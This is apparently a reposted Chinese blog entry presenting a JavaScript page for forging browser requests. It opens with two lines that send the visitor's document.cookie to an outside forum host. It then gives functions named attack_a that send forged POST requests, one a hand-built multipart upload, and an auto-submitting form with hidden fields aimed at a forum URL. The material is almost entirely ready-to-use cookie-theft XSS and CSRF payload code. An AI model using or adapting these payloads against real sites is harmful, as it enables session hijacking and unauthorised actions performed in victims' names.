`
baron.unsafe
  • 浏览: 79156 次
社区版块
存档分类
最新评论

JavaScript模拟用户发起浏览器请求(GET和POST)

javascript 
阅读更多
from http://www.3g-sec.com/thread-1399-1-1.html 
<html>
<head>
<script>
//第一种GET方式
new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);
//第二种GET方式
location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);
//第一种POST方式(XMLHttpRequest普通POST)
xhr=function(){
    var request = false;
    if(window.XMLHttpRequest){
        request = new XMLHttpRequest();
    }else if (window.ActiveXObject){
        try{
            request = new window.ActiveXObject('Microsoft.XMLHTTP');
        }catch(e){
       }
    }
 
    return request;
}();

request = function(method,src,argv,content_type){
    xhr.open(method,src,false);//同步方式,异步把false改为true
    if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
    //设置表单的content-type类型，常见的是application/x-www-form-urlencoded
    //如果是文件上传的表单则content-type为multipart/form-data第二个例子中会有
    xhr.send(argv);//发送POST数据
    return xhr.responseText;//返回响应的内容
};
attack_a = function(){
    var src     = "http://www.dzx2.com/forum.php";
    var argv_0  = "&name1=value1&name2=value2";
    request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();

//第二种POST方式(XMLHttpRequest文件上传POST)
xhr=function(){
    var request = false;
    if(window.XMLHttpRequest){
        request = new XMLHttpRequest();
    }else if (window.ActiveXObject){
        try{
            request = new window.ActiveXObject('Microsoft.XMLHTTP');
        }catch(e){         
        }
    }
    return request;
}();

request = function(method,src,argv,content_type){
    xhr.open(method,src,false);
    if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
    xhr.send(argv);
    return xhr.responseText;
};

attack_a = function(){
    var src     = "http://www.dzx2.com/forum.php";
    var name1   = "value1";
    var name2   = "value2";
    var argv_0  = "\r\n";
    argv_0      +="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name1\"\r\n\r\n";
    argv_0      +=(name1+"\r\n");
    argv_0      +="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name2\"\r\n\r\n";
    argv_0      +=(name2+"\r\n");
    argv_0      +="---------------------7964f8dddeb95fc5\r\n";
    /*
        POST提交的参数是以---------------------7964f8dddeb95fc5分割的
        下面设置表单提交的Content-Type与form-data分隔边界为：
        multipart/form-data;boundary=---------------------7964f8dddeb95fc5
    */
    request("POST",src,argv_0,"multipart/form-data;boundary=---------------------7964f8dddeb95fc5"); 
}

attack_a();

//第三种POST方式(javascript实现表单自提交)
function new_form(){
    var f = document.createElement("form");
    document.body.appendChild(f);
    f.method = "post";
    return f;
}

function create_elements(eForm,eName,eValue){
    var e=document.createElement("input");
    eForm.appendChild(e);
    e.type='text';
    e.name=eName;
    if(!document.all){
        e.style.display='none';
    }else{
        e.style.display='block';
        e.style.width='0px';
        e.style.height='0px';
    }
    e.value=eValue;
    return e;
}
var _f=new_form();//创建一个form表单
create_elements(_f,"name1","value1");//创建form中的input对象
create_elements(_f,"name2","value2");
_f.action="http://www.dzx2.com/forum.php";//form提交地址
_f.submit();//提交
</script>
</head>
<body>
</body>
</html>
分享到：
| Device information in Windows 8 store ap ...
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

Magicbox
Global site tag (gtag.js) - Google Analytics